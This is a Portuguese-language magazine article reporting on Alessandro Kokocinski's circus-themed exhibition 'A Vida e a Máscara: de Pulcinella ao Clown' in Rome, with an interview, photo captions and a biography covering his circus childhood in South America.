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Pé na Estrada

Tem marmelada, sim, senhor, na exposição de Kokocinski

 

Cartaz de "A Vida e Máscara - da Pulcinella ao Clown", de Kokovinscki, em Roma / Foto Divulgação

 

O autor de “Vida e Máscara: de Pulcinella ao Clown” fala com Panis & Circus 

Ivy Fernandes, de Roma 

Grandes pintores – Picasso, Chagall, Goya, Rouault e Seurat – foram atraídos pelo mundo do circo. Mais que todos, Alessandro Kokocinski.

A exposição “A Vida e a Máscara: de Pulcinella ao Clown”, no Museu e Fundação Roma, no Palácio Cipolla, Via del Corso, 320, que estreou em 17 de setembro e fica até 1º de novembro, em Roma, atesta mais uma vez o DNA circense de Kokocinski. “Pulcinella” pode ser descrito como um palhaço, de nariz comprido, que veste branco e usa máscara preta – contraponto do claro e escuro, da vida e da morte.

 

Circo acompanha a obra de Kokocinsky / Foto Divulgação

 

Kokocinski conversou com Panis & Circus em seu ateliê, nos arredores de Roma. Artista de trato agradável e prosa inteligente, ele afirma “ter intenção de realizar uma grande exposição no Brasil – em São Paulo ou no Rio de Janeiro”. Aliás, retornar à América do Sul é um projeto que acalenta há bastante tempo. “Passei lá a infância e adolescência. E minha formação artística começou a ser feita nos diversos países sul-americanos em que morei e me apresentei. Com a vida itinerante e precária daquele tempo, infelizmente, não pude frequentar a escola. Sou um analfabeto erudito que aprendeu com o dia a dia da vida.”

Do clown ao pulcinella, o circo está nas telas de Kokocinski.

 

Figura "livre do peso da existência"/ Foto Divulgação

 

Filho de artistas circenses itinerantes – que fugiram de campo de trabalhos forçados na Sibéria – ele nasceu na Itália, em 1948. Estreou, adolescente, no picadeiro com acrobacias em cima de um cavalo, em Buenos Aires, na Argentina, e viajou com circos pelo sul do Brasil, Uruguai e Peru. Aos poucos, a arte acrobática foi dando lugar para a arte gráfica e a expressão criada com tintas e formas esculturais.

Em Buenos Aires, ele passou a se dedicar mais e mais a cenografia teatral até que o golpe militar de 1966 o tirou de cena. A família Kokocinski em busca de novos ares mudou para Santiago (Chile) e continuou a exercer por lá a arte circense.

 

Figura "livre da escravidão das palavras"/ Foto Divulgação

 

Em 1973, foi preciso fugir de um novo golpe militar, que derrubou o presidente Allende, no Chile, e voltar para a Itália. Hoje, obras de Kokocinski, que denunciam a ditadura militar estão expostas no Museu de Arte Moderna de Santiago.

Na Itália, passou a fazer parte do seleto clube da aristocracia intelectual italiana e conviver com escritores como Alberto Moravia.

 

Clown vestido de lua/ Foto Divulgação

 

 

Em “Cirk” – anjos e clows voam nas telas  

Obra sem nome que conta com elemento circense / Foto Divulgação

 

Quarenta anos após a fuga do Chile, em 2013, Kokocinski inaugurou a mostra “Cirk” (“Circo”, escrito em russo, a sua primeira língua por influência da mãe), em que pintou a magia do picadeiro. Em suas telas, anjos e clows voam – trata-se do fragmento de um mundo carregado de leveza e pesado ao mesmo tempo.

“Cirk” foi apresentada na Galeria Artespressione (Arte e Expressão) de Milão e foi organizada em colaboração com a Selective-Art, de Paris e Fundação Alessandro Kokocinski.

 

Figura que "queima-se com o céu de estrelas"/ Foto Divulgação

 

 

70 obras e 40 são inéditas

Obra sem titulo  mostra Pulcinella a cavalo/ Foto Divulgação

 

A atual mostra “A Vida e a Máscara: de Pulcinella ao Clown” está centrada em seis temas: “A Arena”, “Pulcinella”, “Petruska”, “O Sonho”, “Clown” e “Máscara Interior”.

Ao todo são 70 obras, 40 delas inéditas, entre quadros, esculturas, desenhos, vídeos, versos, livros do artista, inspirados na metamorfose da máscara. E traz duas grandes instalações: “Holocausto del Clown trágico” e “Non l’ho fatto aposta” (“Holocausto do Clown trágico”  e “Não  fiz  de propósito”).

 

Quadro retrata um "Clown"/ Foto Divulgação

 

Algumas das obras de Kokocinski foram expostas no centro cultural Silpakorn Arts Centre, de Bangkok (Tailândia), na Feira das Artes de Shangai, em Xangai (China), no Museu Nacional de Belas Artes, de Buenos Aires, e no Namoc, de Pequim (China).

A atual exposição, em Roma, por exigência da Fundação Kokocinski, é gratuita, o que é raro de acontecer na Itália.

 

Vida e aventuras

Alessandro Kokocinski no seu estúdio em Roma / Foto Divulgação

 

Kokocinski nasceu em Recanati, norte da Itália, em 1948, e vivenciou aventuras ao redor do  mundo desde criança.

Seus pais se conheceram num campo de trabalhos forçados, na Sibéria – ele, polonês; ela russa, ambos artistas de circo, itinerantes, unidos pela desventura de ser prisioneiros. Mas conseguiram sobreviver e fugir da Sibéria. Atravessaram fronteiras de países europeus e chegaram à Itália, onde nasceu Alessandro, em 1948 – há 67 anos. Desde criança, ele acompanhou os pais – artistas itinerantes que trabalharam em circos instalados em diversos países.

 

O "Arlequim" de Kokoscinsky / Foto Divulgação

 

No início dos anos 60, quando era adolescente, seus pais resolveram emigrar para Buenos Aires (Argentina) em busca de uma vida melhor. Foi nessa época que Alessandro estreou no circo como acrobata especializado na arte equestre. 

Entusiasmado com o picadeiro, participou de apresentações nos circos do Uruguai, Peru, Brasil e conheceu artistas famosos como o clown Popov.

Em Buenos Aires, dedicou-se à cenografia teatral, mas com o golpe militar na Argentina, em 1966, a família Kokocinski resolveu se transferir para Santiago do Chile e continuar a exercer por lá a arte circense. Em 1973, quando estava fora do Chile, em turnê, aconteceu o golpe militar que derrubou o presidente Salvador Allende. Hoje, obras do pintor que denunciavam a ditadura militar estão expostas no Museu de Arte Moderna de Santiago.

A vida itinerante de Kokocinski está inscrita em seu DNA. Para poder trabalhar com tranquilidade, por exemplo, ele deixou Roma e instalou-se em pequenas cidades ao redor da capital. Em 1986, decidiu que era hora de atravessar novas fronteiras e rumou para o Extremo Oriente, e transitou entre a Tailândia e a China, e, em Hong Kong, organizou uma exposição que inaugurou o Art Festival Centrede  Hong Kong. De lá, rumou para a Alemanha e, em 1991, organizou duas exposições importantes:  Akademie der Kunste, de Berlim, e outra no Museu Leonhardi, de Dresden.

 

Catálogo das obras de Kokocinski / Foto Divulgação

 

Em seu percurso artístico foi somando experiências que se traduzem em cores e formas de suas obras. Do mundo russo, a paixão pelas cores fortes, do universo latino-americano, o realismo fantástico. Sua obra é um caleidoscópio de emoções, cores, fantasias, sonhos e delírios.

 

Clown com as asas negras que vibram / Foto Divulgação

 

 

Serviço:

“A Vida e a Máscara: de Pulcinella ao Clown”

Fondazione Roma Museo – Palazzo Cipolla – Via del Corso, 320 – 00186 – Roma – tel: + 39.06.69924641

WWW.fondazioneromamuseo.it

 

Tradução do vídeo na capa: “A mostra de Alessandro Kokocinski é uma das mais interessantes do cenário cultural  italiano nesse outono. Foi inaugurada, em Roma, e estará aberta até 1º de novembro: uma grande exposição com 70 obras, 40 delas são inéditas. Sua vida de aventuras começa na  América do Sul, e em companhia dos pais, artistas circenses, viajou por vários países da região: Argentina, Brasil e Chile. Em seus 67 anos de vida, Kokocinsky viveu bem 67 vidas, percorreu diversos caminhos artísticos, no início trabalhando com os pais, quando era adolescente, no picadeiro dos circos, e depois, com cenografias teatrais, passando “como conseqüência natural”, como o artista explica, para a pintura, escultura e desenhos. Uma vida intensa e rica de encontros e desencontros, ilusões e desilusões, fantasia e nostalgia – que está traduzida em suas telas”.  

 

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